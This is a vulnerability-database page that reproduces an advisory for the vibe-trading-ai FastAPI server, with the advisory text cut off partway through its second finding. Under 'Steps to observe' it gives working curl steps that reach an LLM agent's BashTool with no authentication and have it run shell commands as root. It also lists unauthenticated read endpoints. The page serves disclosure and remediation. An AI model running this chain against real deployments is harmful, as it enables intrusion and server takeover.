Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain
CVE-2026-114108 · GHSA-6gpw-8ggq-h6c8 · EUVD-2026-106911 · GHSA-v2f8-6655-7grj · published 2 Oct 2026
How serious is it
- Severity: critical, CVSS score 9.3 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-114108?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
vibe-trading-ai(PyPI) >= 0.1.0, < 0.1.7
How to check
- Run
pip show vibe-trading-aiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
vibe-trading-aito 0.1.7 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary:
5 findings — unauthenticated full-API exposure (F1, lead Critical), read-side authorization gap that persists even with `API_AUTH_KEY` set (F2), unauthenticated file write of `.py`/`.sh`/`.yaml` to a server-returned path (F3), default-permissive CORS that combines with a loopback-only check to grant any browser page on whitelisted localhost ports credentialed cross-origin access (F-A4), and partial API-key disclosure via `_mask_secret()` (F-A5).
---
### Shared baseline (applies to all 5 findings)
The shipped `agent/.env.example` line 112 ships `# API_AUTH_KEY=` commented out. `require_auth()` at `agent/api_server.py` line 303 executes `if not api_key: return` and returns `None` immediately when `API_AUTH_KEY` is unset, so every endpoint decorated with `dependencies=[Depends(require_auth)]` operates as unauthenticated. The shipped `Dockerfile` does **not** contain a `USER` directive, so the FastAPI process runs as `uid=0(root)` inside the container (verified: `docker exec id` returns `uid=0(root) gid=0(root)`). The `docker-compose.yml` binds `0.0.0.0:8899` with no network restriction.
The only operator action required beyond a clean install is supplying a working LLM API key so the agent loop can complete its tool-call round trip — this is the normal first step to make the agent functional, not an additional security opt-in. F-A4 and F-A5 do *not* require an LLM key (see per-finding notes); F1 and F3 do not require an LLM key for the unauth surface itself, only for the chained RCE demonstration in F1.
### Reproducer environment (common)
```sh
git clone https://github.com/HKUDS/Vibe-Trading.git
cd Vibe-Trading
git checkout 7452610113a75529b5d55fd2217bb17f7bec66f7 # v0.1.6 + 1 frontend fix; same vuln state as v0.1.6
cp agent/.env.example agent/.env
# (For F1 chained demo only:) edit agent/.env to set OPENROUTER_API_KEY=<real key>
docker compose up -d
# port 8899 is now reachable; HOST below is the docker host's IP from the attacker's perspective
```
> **Note on the `HOST` placeholder used throughout the per-finding "Steps to observe" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.
---
### Finding 1 — Critical: Unauthenticated network client reaches shell execution via POST /sessions/{id}/messages
- **Severity**: Critical
- **CVSS v3.1**: 9.8 — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
- **CVSS v4.0**: 10.0 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
- **CWE**: CWE-306 (Missing Authentication for Critical Function); chains into CWE-78 (Group B, F6)
**Affected files**:
- `agent/api_server.py:303` — `if not api_key: return` early return in `require_auth()`
- `agent/api_server.py:736` — `@app.post("/sessions/{session_id}/messages", dependencies=[Depends(require_auth)])` (the dependency is a no-op when `API_AUTH_KEY` is unset)
- `agent/src/tools/bash_tool.py:44-46` — `subprocess.run(command, shell=True, cwd=cwd)` with command read from `kwargs['command']` (full bug detail tracked in GHSA-2 / Group B / F6)
**Intent vs actual**: The session API is intended to serve authenticated users only. When `API_AUTH_KEY` is unset, `require_auth()` returns `None` immediately and `dependencies=[Depends(require_auth)]` becomes a no-op. Any anonymous TCP client to port 8899 can therefore create a session, post a message, and receive the LLM agent's response. The LLM ReAct agent — given a natural-language request to run a command — selects `BashTool` from the auto-discovered registry, which calls `subprocess.run(command, shell=True)` with the LLM-emitted string. The container has no `USER` directive, so the resulting process runs as `uid=0(root)`.
**Steps to observe**:
1. Start the server per the shared reproducer above (with a working `OPENROUTER_API_KEY` set in `agent/.env`). Confirm `curl -fs http://HOST:8899/health` returns 200.
2. `SID=$(curl -s -X POST http://HOST:8899/sessions -H 'Content-Type: application/json' -d '{}' | python3 -c "import json,sys;print(json.load(sys.stdin)['session_id'])")`
3. `curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Execute the shell command '\''id && uname -a'\'' and report the output verbatim."}'`
4. Wait ~5–15 seconds, then `curl -s "http://HOST:8899/sessions/$SID/messages"` and observe the BashTool result message containing `uid=0(root)`, the kernel version, and the container hostname — all returned with no `Authorization` header on any of the three requests.
**Impact**: An unauthenticated caller with TCP access to port 8899 can execute arbitrary shell commands as root inside the container. This is the top-severity entry point of the RCE chain. Combined with the absent `USER` directive in the Dockerfile, the blast radius is full container takeover.
---
### Finding 2 — High: Read endpoints return full session history with no authentication, even when API_AUTH_KEY is set
- **Severity**: High
- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
- **CWE**: CWE-862 (Missing Authorization)
**Affected file**: `agent/api_server.py` — `require_auth()` docstring at line 289 states "Only write endpoints (POST/PUT/DELETE/PATCH) use this dependency." Read endpoints with no `Depends(require_auth)`:
- line 804 — `@app.get("/runs", response_model=List[RunInfo])`
- line 788 — `@app.get("/runs/{run_id}", response_model=RunResponse)`
- line 748 — `@app.get("/runs/{run_id}/code")`
- line 769 — `@app.get("/runs/{run_id}/pine")`
- line 1153 — `@app.get("/sessions", response_model=List[SessionResponse])`
- line 1173 — `@app.get("/sessions/{session_id}", response_model=SessionResponse)`
- line 1251 — `@app.get("/sessions/{session_id}/messages", response_model=List[MessageResponse])`
- line 1272 — `@app.get("/sessio…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/HKUDS/Vibe-Trading/security/advisories/GHSA-v2f8-6655-7grj
- github.com/HKUDS/Vibe-Trading/commit/9454d4a27a763b80e1d6eb5763b86c88e9e4e714
- github.com/HKUDS/Vibe-Trading
- github.com/HKUDS/Vibe-Trading/releases/tag/v0.1.7
- www.vulncheck.com/advisories/hkuds-vibe-trading-before-0.1.7-missing-authentication-in-fastapi-server-enabling-rce
Merged from OSV, ENISA EUVD. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON